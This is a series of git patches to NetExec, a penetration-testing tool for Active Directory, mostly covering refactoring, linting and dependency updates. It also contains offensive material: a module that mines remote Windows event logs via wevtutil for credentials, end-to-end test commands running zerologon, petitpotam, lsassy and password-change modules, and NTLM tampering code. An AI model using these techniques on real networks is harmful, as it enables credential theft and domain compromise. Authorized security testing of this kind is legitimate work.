self._hardlimit = limit @@ -192,11 +192,12 @@ def __iter__(self): return self def __next__(self): - self._hardlimit -= 1 - if self._hardlimit < 0: - raise StopIteration + if self._hardlimit is not None: + self._hardlimit -= 1 + if self._hardlimit < 0: + raise StopIteration if self._resp is not None and self._resp["NumActualRecords"] == 0: - return None + raise StopIteration if self._resp is None or self._index == self._resp["NumActualRecords"]: req = even6.EvtRpcQueryNext() From 379641e25cfa9601649f62cd816aaf73df7f011a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 09:48:38 -0400 Subject: [PATCH 049/103] Allow setting the limit to UNLIMITED --- nxc/modules/eventlog_creds.py | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/nxc/modules/eventlog_creds.py b/nxc/modules/eventlog_creds.py index 4d2cd2836e..2c5d2bea12 100644 --- a/nxc/modules/eventlog_creds.py +++ b/nxc/modules/eventlog_creds.py @@ -20,13 +20,13 @@ def __init__(self): self.context = None self.module_options = None self.method = "execute" - self.limit = 1000 + self.limit = None def options(self, context, module_options): """ - METHOD EventLog method (Execute or RPCCALL) + METHOD EventLog method (Execute or RPCCALL), default: execute M Alias for METHOD - LIMIT Limit of the number of records to be fetched + LIMIT Limit of the number of records to be fetched, default: unlimited L Alias for LIMIT """ if "METHOD" in module_options: @@ -92,11 +92,12 @@ def find_credentials(self, content, context): def on_admin_login(self, context, connection): content = "" - if self.method[:1].lower() == "e": + if self.method.lower().startswith("e"): + limit_str = f"/c:{self.limit}" if self.limit is not None else "" # https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688 commands = [ - f'wevtutil qe Security /c:{self.limit} /f:text /rd:true /q:"*[System[(EventID=4688)]]" |findstr "Command Line"', - f'wevtutil qe Microsoft-Windows-Sysmon/Operational /c:{self.limit} /f:text /rd:true /q:"*[System[(EventID=1)]]" |findstr "ParentCommandLine"' + f'wevtutil qe Microsoft-Windows-Sysmon/Operational {limit_str} /f:text /rd:true /q:"*[System[(EventID=1)]]" | findstr "ParentCommandLine"', + f'wevtutil qe Security {limit_str} /f:text /rd:true /q:"*[System[(EventID=4688)]]" | findstr "Command Line"', ] for command in commands: context.log.debug("Execute Command: " + command) From 2c12ab72028153c36a255697bcdb62230b63b849 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 09:48:58 -0400 Subject: [PATCH 050/103] Improve regex match and reduce false positives --- nxc/modules/eventlog_creds.py | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/nxc/modules/eventlog_creds.py b/nxc/modules/eventlog_creds.py index 2c5d2bea12..dccb9d6b65 100644 --- a/nxc/modules/eventlog_creds.py +++ b/nxc/modules/eventlog_creds.py @@ -41,8 +41,6 @@ def options(self, context, module_options): def find_credentials(self, content, context): # remove unnecessary words content = content.replace("\r\n", "\n") - content = content.replace("/add", "") - content = content.replace("/active:yes", "") # sort and unique lines content = "\n".join(sorted(set(content.split("\n")))) @@ -66,9 +64,16 @@ def find_credentials(self, content, context): # Extracting credentials for line in content.split("\n"): for reg in regexps: - # verbose context.log.debug("Line: " + line) - # verbose context.log.debug("Reg: " + reg) - match = re.search(reg, line, re.IGNORECASE) + # Remove unnecessary words + line_stripped = line.replace("/add", "") \ + .replace("/active:yes", "") \ + .replace("/delete", "") \ + .replace("/domain", "") \ + # Remove command lines that were executed with nxc + line_stripped = re.sub(r"1> \\Windows\\Temp\\[\w]{6} 2>&1", "", line_stripped) + + # Use regex to find credentials + match = re.search(reg, line_stripped, re.IGNORECASE) if match: # eleminate false positives # C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay @@ -128,7 +133,6 @@ def on_admin_login(self, context, connection): content += "CommandLine: " + match.group("CommandLine") + "\n" except Exception as e: context.log.error(f"Error: {e}") - continue self.find_credentials(content, context) From c3c487600e2d664404bb411dcb28c1888d63b1f8 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 10:10:29 -0400 Subject: [PATCH 051/103] Add missing check if config section is missing --- nxc/config.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/nxc/config.py b/nxc/config.py index 07f2e55b57..6971525177 100644 --- a/nxc/config.py +++ b/nxc/config.py @@ -18,6 +18,11 @@ # Check if there are any missing options in the config file for section in nxc_default_config.sections(): + if not nxc_config.has_section(section): + nxc_logger.display(f"Adding missing section '{section}' to nxc.conf") + nxc_config.add_section(section) + with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file: + nxc_config.write(config_file) for option in nxc_default_config.options(section): if not nxc_config.has_option(section, option): nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf") From 614de0b75f0a104a35120d9c818ba2032be60821 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 10:11:49 -0400 Subject: [PATCH 052/103] Use already existing config object --- nxc/protocols/ldap.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 4c166507cd..f791c9e661 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -423,7 +423,6 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", return False def plaintext_login(self, domain, username, password): - self.username = username self.password = password self.domain = domain @@ -1278,11 +1277,8 @@ def get_bloodhound_info(): return package_name, version, is_ce - import configparser - config = configparser.ConfigParser() - config.read(os.path.expanduser("~/.nxc/nxc.conf")) # Check which version is desired - use_bhce = config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) + use_bhce = self.config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) package_name, version, is_ce = get_bloodhound_info() if use_bhce and not is_ce: From 962a7ec45ceeee216bbdcfc49d649fb1cc945ad9 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 10:43:38 -0400 Subject: [PATCH 053/103] Add info if 'bloodhound' package not found --- nxc/protocols/ldap.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index f791c9e661..0406fa3fdd 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1287,6 +1287,8 @@ def get_bloodhound_info(): self.logger.fail("Please run the following commands to fix this:") self.logger.fail("poetry remove bloodhound") self.logger.fail("poetry add bloodhound-ce") + self.logger.fail("If you get the error 'Package bloodhound not found', run 'poetry remove bloodhound-ce', then 'poetry add bloodhound-ce' again.") + self.logger.fail("") # If using pipx self.logger.fail("Or if you installed with pipx:") From 51dfd5179a68e58a8b146a6d02fa6e91e31409f7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 10:47:07 -0400 Subject: [PATCH 054/103] Actually as the poetry file now says 'bloodhound-ce' we must uninstall that package --- nxc/protocols/ldap.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 0406fa3fdd..8393da1869 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1285,10 +1285,8 @@ def get_bloodhound_info(): self.logger.fail("⚠️ Configuration Issue Detected ⚠️") self.logger.fail("Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your ~/.nxc/nxc.conf config file or follow the instructions:") self.logger.fail("Please run the following commands to fix this:") - self.logger.fail("poetry remove bloodhound") + self.logger.fail("poetry remove bloodhound-ce") self.logger.fail("poetry add bloodhound-ce") - self.logger.fail("If you get the error 'Package bloodhound not found', run 'poetry remove bloodhound-ce', then 'poetry add bloodhound-ce' again.") - self.logger.fail("") # If using pipx self.logger.fail("Or if you installed with pipx:") From 09cb12d759dd6624e50ae0e15e6019a6ceb26cd4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 11:02:10 -0400 Subject: [PATCH 055/103] Swap command order, otherwise pipx will complain --- nxc/protocols/ldap.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 8393da1869..3726580034 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1285,13 +1285,14 @@ def get_bloodhound_info(): self.logger.fail("⚠️ Configuration Issue Detected ⚠️") self.logger.fail("Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your ~/.nxc/nxc.conf config file or follow the instructions:") self.logger.fail("Please run the following commands to fix this:") - self.logger.fail("poetry remove bloodhound-ce") + self.logger.fail("poetry remove bloodhound-ce # poetry falsely recognizes bloodhound-ce as a the old bloodhound package") self.logger.fail("poetry add bloodhound-ce") + self.logger.fail("") # If using pipx self.logger.fail("Or if you installed with pipx:") - self.logger.fail("pipx inject netexec bloodhound-ce --force") self.logger.fail("pipx runpip netexec uninstall -y bloodhound") + self.logger.fail("pipx inject netexec bloodhound-ce --force") return False elif not use_bhce and is_ce: @@ -1300,11 +1301,12 @@ def get_bloodhound_info(): self.logger.fail("Please run the following commands to fix this:") self.logger.fail("poetry remove bloodhound-ce") self.logger.fail("poetry add bloodhound") + self.logger.fail("") # If using pipx self.logger.fail("Or if you installed with pipx:") - self.logger.fail("pipx inject netexec bloodhound --force") self.logger.fail("pipx runpip netexec uninstall -y bloodhound-ce") + self.logger.fail("pipx inject netexec bloodhound --force") return False auth = ADAuthentication( From 70910223b469ce43fccb58c593834706b8b178af Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 11:04:29 -0400 Subject: [PATCH 056/103] Move bloodhound package info function to the helpers --- nxc/helpers/misc.py | 60 ++++++++++++++++++++++++++++++++++++++++++- nxc/protocols/ldap.py | 59 +----------------------------------------- 2 files changed, 60 insertions(+), 59 deletions(-) diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index a92646f732..6f9566fd53 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -40,7 +40,7 @@ def called_from_cmd_args(): # Stolen from https://github.com/pydanny/whichcraft/ def which(cmd, mode=os.F_OK | os.X_OK, path=None): """Find the path which conforms to the given mode on the PATH for a command. - + Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file. `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path. Note: This function was backported from the Python 3 source code. @@ -77,3 +77,61 @@ def _access_check(fn, mode): name = os.path.join(p, thefile) if _access_check(name, mode): return name + + +def get_bloodhound_info(): + """ + Detect which BloodHound package is installed (regular or CE) and its version. + + Returns + ------- + tuple: (package_name, version, is_ce) + - package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None) + - version: Version string of the installed package (or None if not installed) + - is_ce: Boolean indicating if it's the Community Edition + """ + import importlib.metadata + import importlib.util + + # First check if any BloodHound package is available to import + if importlib.util.find_spec("bloodhound") is None: + return None, None, False + + # Try to get version info from both possible packages + version = None + package_name = None + is_ce = False + + # Check for bloodhound-ce first + try: + version = importlib.metadata.version("bloodhound-ce") + package_name = "bloodhound-ce" + is_ce = True + except importlib.metadata.PackageNotFoundError: + # Check for regular bloodhound + try: + version = importlib.metadata.version("bloodhound") + package_name = "bloodhound" + + # Even when installed as 'bloodhound', check if it's actually the CE version + if version and ("ce" in version.lower() or "community" in version.lower()): + is_ce = True + except importlib.metadata.PackageNotFoundError: + # No bloodhound package found via metadata + pass + + # In case we can import it but metadata is not working, check the module itself + if not version: + try: + import bloodhound + version = getattr(bloodhound, "__version__", "unknown") + package_name = "bloodhound" + + # Check if it's CE based on version string + if "ce" in version.lower() or "community" in version.lower(): + is_ce = True + package_name = "bloodhound-ce" + except ImportError: + pass + + return package_name, version, is_ce diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 3726580034..e390e69fc1 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -43,6 +43,7 @@ from nxc.protocols.ldap.kerberos import KerberosAttacks from nxc.parsers.ldap_results import parse_result_attributes from nxc.helpers.ntlm_parser import parse_challenge +from nxc.helpers.misc import get_bloodhound_info ldap_error_status = { "1": "STATUS_NOT_SUPPORTED", @@ -1219,64 +1220,6 @@ def gmsa_decrypt_lsa(self): self.logger.fail("No string provided :'(") def bloodhound(self): - - def get_bloodhound_info(): - """ - Detect which BloodHound package is installed (regular or CE) and its version. - - Returns - ------- - tuple: (package_name, version, is_ce) - - package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None) - - version: Version string of the installed package (or None if not installed) - - is_ce: Boolean indicating if it's the Community Edition - """ - import importlib.metadata - import importlib.util - - # First check if any BloodHound package is available to import - if importlib.util.find_spec("bloodhound") is None: - return None, None, False - - # Try to get version info from both possible packages - version = None - package_name = None - is_ce = False - - # Check for bloodhound-ce first - try: - version = importlib.metadata.version("bloodhound-ce") - package_name = "bloodhound-ce" - is_ce = True - except importlib.metadata.PackageNotFoundError: - # Check for regular bloodhound - try: - version = importlib.metadata.version("bloodhound") - package_name = "bloodhound" - - # Even when installed as 'bloodhound', check if it's actually the CE version - if version and ("ce" in version.lower() or "community" in version.lower()): - is_ce = True - except importlib.metadata.PackageNotFoundError: - # No bloodhound package found via metadata - pass - - # In case we can import it but metadata is not working, check the module itself - if not version: - try: - import bloodhound - version = getattr(bloodhound, "__version__", "unknown") - package_name = "bloodhound" - - # Check if it's CE based on version string - if "ce" in version.lower() or "community" in version.lower(): - is_ce = True - package_name = "bloodhound-ce" - except ImportError: - pass - - return package_name, version, is_ce - # Check which version is desired use_bhce = self.config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) package_name, version, is_ce = get_bloodhound_info() From e5d3b66fb364d6437a333ab2bafb730ed0ea6db8 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 11:29:02 -0400 Subject: [PATCH 057/103] Add comments --- nxc/protocols/smb.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index feacf16516..5335069963 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -236,11 +236,13 @@ def enum_host_info(self): self.targetDomain = self.hostname else: try: + # If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available if self.is_host_dc() and detect_if_ip(self.host): self.hostname, self.domain = LDAPResolution(self.host).get_resolution() self.targetDomain = self.domain # If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it else: + # Check if the host is a valid IP address, if not we parse the FQDN in the Exception import socket socket.inet_aton(self.host) self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name") From dd3269509647e4ba85343f1191e084a4400bcb6b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 12:47:13 -0400 Subject: [PATCH 058/103] Update lock file --- poetry.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/poetry.lock b/poetry.lock index afe5d28d0b..f556527bd9 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2463,4 +2463,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "2ff9e8ff4aee99b6cb0587e226399d29196c7003418f900d4713c533e2659cdb" +content-hash = "9f38121eb3a3aa76f783c66a3bc6bb6d505475ec95b29767382e1b2552ceeb49" From c91c9dd93b7d46be5ccd4eaf204817f3d8e8df51 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 13:10:01 -0400 Subject: [PATCH 059/103] Linting --- nxc/helpers/even6_parser.py | 9 +++++++++ nxc/modules/link_enable_cmdshell.py | 4 +--- nxc/protocols/smb.py | 1 + 3 files changed, 11 insertions(+), 3 deletions(-) diff --git a/nxc/helpers/even6_parser.py b/nxc/helpers/even6_parser.py index d64208319e..168ee3ed30 100644 --- a/nxc/helpers/even6_parser.py +++ b/nxc/helpers/even6_parser.py @@ -5,6 +5,7 @@ from datetime import datetime + class Substitution: def __init__(self, buf, offset): (sub_token, sub_id, sub_type) = struct.unpack_from("{}".format(self._name.val, attrs, "".join(children), self._name.val) + class ValueSpec: def __init__(self, buf, offset, value_offset): self.length, self.type, value_eof = struct.unpack_from(" Date: Sun, 25 May 2025 13:10:28 -0400 Subject: [PATCH 060/103] Linting --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 6176ecb8e3..c6674cf3fa 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -196,7 +196,7 @@ def create_conn_obj(self): target = resp_parsed["dnsHostName"] base_dn = resp_parsed["defaultNamingContext"] target_domain = sub( - ",DC=", + r",DC=", ".", base_dn[base_dn.lower().find("dc="):], flags=IGNORECASE, From 730a4bfdedb9be249418d12492dcfee38ab833b2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 13:11:32 -0400 Subject: [PATCH 061/103] Linting --- nxc/helpers/misc.py | 3 +++ nxc/protocols/ldap/resolution.py | 3 ++- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index a8e7f5875d..7bba7ebbc0 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -6,6 +6,7 @@ from ipaddress import ip_address + def identify_target_file(target_file): with open(target_file) as target_file_handle: for i, line in enumerate(target_file_handle): @@ -79,6 +80,7 @@ def _access_check(fn, mode): if _access_check(name, mode): return name + def get_bloodhound_info(): """ Detect which BloodHound package is installed (regular or CE) and its version. @@ -136,6 +138,7 @@ def get_bloodhound_info(): return package_name, version, is_ce + def detect_if_ip(target): try: ip_address(target) diff --git a/nxc/protocols/ldap/resolution.py b/nxc/protocols/ldap/resolution.py index 89b73fb479..9a80a0fd7a 100644 --- a/nxc/protocols/ldap/resolution.py +++ b/nxc/protocols/ldap/resolution.py @@ -8,6 +8,7 @@ from nxc.parsers.ldap_results import parse_result_attributes from nxc.logger import nxc_logger + class LDAPResolution: def __init__(self, host): @@ -38,7 +39,7 @@ def get_resolution(self): target = resp_parsed["dnsHostName"] base_dn = resp_parsed["defaultNamingContext"] target_domain = sub( - ",DC=", + r",DC=", ".", base_dn[base_dn.lower().find("dc="):], flags=I, From 1b750d8fbc3c4b193df571e5fe6a728d91aa904c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 14:16:33 -0400 Subject: [PATCH 062/103] Don't test change-password module otherwise we can't log in anymore... --- tests/e2e_commands.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index b6cef76efb..9c23d258bc 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -152,8 +152,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav - netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWPASS=Password123 -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWNTHASH=58A478135A93AC3BF058A5EA0E8FDB71 +#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWPASS=Password123 +#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWNTHASH=58A478135A93AC3BF058A5EA0E8FDB71 # test for multiple modules at once netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M uac -M webdav -M wifi -M coerce_plus ##### SMB Anonymous Auth From 81e4977324247ac7b80cc93e1d400a009b889634 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 14:21:44 -0400 Subject: [PATCH 063/103] Fix remove-mic module --- nxc/modules/remove-mic.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/remove-mic.py b/nxc/modules/remove-mic.py index e63eb83e7e..29007b5353 100644 --- a/nxc/modules/remove-mic.py +++ b/nxc/modules/remove-mic.py @@ -56,7 +56,7 @@ def on_login(self, context, connection): class Modify_Func: # Slightly modified version of impackets computeResponseNTLMv2 def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash="", nthash="", - use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""): + use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b"", service="cifs"): responseServerVersion = b"\x01" hiResponseServerVersion = b"\x01" From d0f9b2d9e2272b7b442aa917e09f6acefb57f295 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 14:25:02 -0400 Subject: [PATCH 064/103] Display proper info when there is no adcs in the domain --- nxc/modules/adcs.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/nxc/modules/adcs.py b/nxc/modules/adcs.py index 76faae1876..a2d9406284 100644 --- a/nxc/modules/adcs.py +++ b/nxc/modules/adcs.py @@ -70,7 +70,10 @@ def on_login(self, context, connection): searchBase="CN=Configuration," + base_dn_root, ) except LDAPSearchError as e: - context.log.fail(f"Obtained unexpected exception: {e}") + if "noSuchObject" in str(e): + context.log.fail("No ADCS infrastructure found.") + else: + context.log.fail(f"Obtained unexpected exception: {e}") def process_servers(self, item): """Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers.""" From 3fcb3777db246a27040ddc5a683319e27b34376e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 May 2025 14:32:49 -0400 Subject: [PATCH 065/103] Regenerate lock file --- poetry.lock | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/poetry.lock b/poetry.lock index c1dd257777..439f04e973 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 2.1.3 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.1.1 and should not be changed by hand. [[package]] name = "aardwolf" @@ -687,7 +687,7 @@ description = "Backport of PEP 654 (exception groups)" optional = false python-versions = ">=3.7" groups = ["dev"] -markers = "python_version == \"3.10\"" +markers = "python_version < \"3.11\"" files = [ {file = "exceptiongroup-1.2.2-py3-none-any.whl", hash = "sha256:3111b9d131c238bec2f8f516e123e14ba243563fb135d3fe885990585aa7795b"}, {file = "exceptiongroup-1.2.2.tar.gz", hash = "sha256:47c2edf7c6738fafb49fd34290706d1a1a2f4d1c6df275526b62cbb4aa5393cc"}, @@ -2301,7 +2301,7 @@ description = "A lil' TOML parser" optional = false python-versions = ">=3.8" groups = ["dev"] -markers = "python_version == \"3.10\"" +markers = "python_version < \"3.11\"" files = [ {file = "tomli-2.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678e4fa69e4575eb77d103de3df8a895e1591b48e740211bd1067378c69e8249"}, {file = "tomli-2.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:023aa114dd824ade0100497eb2318602af309e5a55595f76b626d6d9f3b7b0a6"}, @@ -2463,4 +2463,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "af9de47cccd46147f7debdfe235c4bbffdc2293322bc2c5a7a644166c1488ee3" +content-hash = "e748a99b7137fb81541ad5152dd98603856a2bfea56d7b9ff23913e950ea2f70" From f61e90b77098806e38129363f1db92be8d79a5ec Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 27 May 2025 09:10:43 -0400 Subject: [PATCH 066/103] Switch impacket branch to Pennyw0rth fork --- poetry.lock | 10 +++++----- pyproject.toml | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/poetry.lock b/poetry.lock index 439f04e973..9333322739 100644 --- a/poetry.lock +++ b/poetry.lock @@ -865,7 +865,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "impacket" -version = "0.13.0.dev0+20250513.162347.b7288f23" +version = "0.13.0.dev0+20250527.90709.eeaef0b7" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -888,9 +888,9 @@ six = "*" [package.source] type = "git" -url = "https://github.com/zblurx/impacket.git" -reference = "ldap_signing" -resolved_reference = "b7288f233c154b6f73610797f8e0fa3a1541b3a9" +url = "https://github.com/Pennyw0rth/impacket.git" +reference = "HEAD" +resolved_reference = "eeaef0b771790342f6e9b233014c61f718f1f95d" [[package]] name = "iniconfig" @@ -2463,4 +2463,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "e748a99b7137fb81541ad5152dd98603856a2bfea56d7b9ff23913e950ea2f70" +content-hash = "199b3ba18467fefbdf05d19a8f9bc6819b0ae72594c5008c135445031e138aec" diff --git a/pyproject.toml b/pyproject.toml index 2a745815b3..715e790881 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -44,7 +44,7 @@ dependencies = [ "terminaltables>=3.1.0", "xmltodict>=0.13.0", # Git Dependencies - "impacket @ git+https://github.com/zblurx/impacket.git@ldap_signing", + "impacket @ git+https://github.com/Pennyw0rth/impacket.git", "oscrypto @ git+https://github.com/wbond/oscrypto", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", ] From 66642a514f9a48a298ac2a37dbd7b6527820ae49 Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 27 May 2025 19:10:46 +0200 Subject: [PATCH 067/103] implement the checks from ldap-checker module in core ldap protocol --- nxc/modules/ldap-checker.py | 258 ------------------------------------ nxc/protocols/ldap.py | 40 +++++- pyproject.toml | 1 - 3 files changed, 39 insertions(+), 260 deletions(-) delete mode 100644 nxc/modules/ldap-checker.py diff --git a/nxc/modules/ldap-checker.py b/nxc/modules/ldap-checker.py deleted file mode 100644 index 775b5f8f1f..0000000000 --- a/nxc/modules/ldap-checker.py +++ /dev/null @@ -1,258 +0,0 @@ -import socket -import ssl -import asyncio -import hashlib -import random - -from msldap.connection import MSLDAPClientConnection -from msldap.commons.target import MSLDAPTarget - -from asyauth.common.constants import asyauthSecret -from asyauth.common.credentials.ntlm import NTLMCredential -from asyauth.common.credentials.kerberos import KerberosCredential - -from asysocks.unicomm.common.target import UniTarget, UniProto -import contextlib - - -class NXCModule: - """ - Checks whether LDAP signing and LDAPS channel binding are required and/or enforced. - - Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0 - Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan - """ - name = "ldap-checker" - description = "Checks whether LDAP signing and channel binding are required and / or enforced" - supported_protocols = ["ldap"] - opsec_safe = True - multiple_hosts = True - - def options(self, context, module_options): - """No options available.""" - - # Conduct a bind to LDAPS and determine if channel - # binding is enforced based on the contents of potential - # errors returned. This can be determined unauthenticated, - # because the error indicating channel binding enforcement - # will be returned regardless of a successful LDAPS bind. - async def run_ldaps_noEPA(self, context, connection, target, credential): - try: - client = MSLDAPClientConnection(target, credential) - _, err = await client.connect() - if err: - context.log.debug(f"Error connecting to {connection.domain}: {err}") - return None - - client.cb_data = None - _, err = await client.bind() - if err and "data 80090346" in str(err): - return True # -> channel binding IS enforced - elif err and "data 52e" in str(err): - return False # -> channel binding not enforced - elif err is None: - return False # LDAPS bind successful -> channel binding not enforced - else: - context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}") - return None - except Exception as e: - context.log.debug(f"Exception in run_ldaps_noEPA: {e}") - return None - finally: - with contextlib.suppress(Exception): - await client.disconnect() - - # Conduct a bind to LDAPS with channel binding supported - # but intentionally miscalculated. In the case that an - # LDAPS bind without channel binding supported has occurred, - # you can determine whether the policy is set to "never" or - # if it's set to "when supported" based on the potential - # error received from the bind attempt. - async def run_ldaps_withEPA(self, context, connection, target, credential): - try: - client = MSLDAPClientConnection(target, credential) - _, err = await client.connect() - if err: - context.log.fail(f"Error connecting to {connection.domain}: {err}") - return None - - try: - context.log.debug("Retrieving TLS certificate hash...") - ssl_context = ssl.create_default_context() - ssl_context.check_hostname = False - ssl_context.verify_mode = ssl.CERT_NONE - - with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock: - cert = ssl_sock.getpeercert(binary_form=True) - - if cert: - cert_hash = hashlib.sha256(cert).digest() - context.log.debug(f"Original certificate hash: {cert_hash.hex()}") - pos = random.randint(0, len(cert_hash) - 1) - tampered_bytes = bytearray(cert_hash) - tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256 - context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}") - context.log.debug(f"Modified byte at position {pos}") - client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes) - else: - client.cb_data = b"\x00" * 64 - except Exception as e: - context.log.debug(f"Failed to retrieve TLS certificate hash: {e}") - client.cb_data = b"\x00" * 64 - - _, err = await client.bind() - if err and "data 80090346" in str(err): - return True - elif (err and "data 52e" in str(err)) or err is None: - return False - else: - context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}") - return None - except Exception as e: - 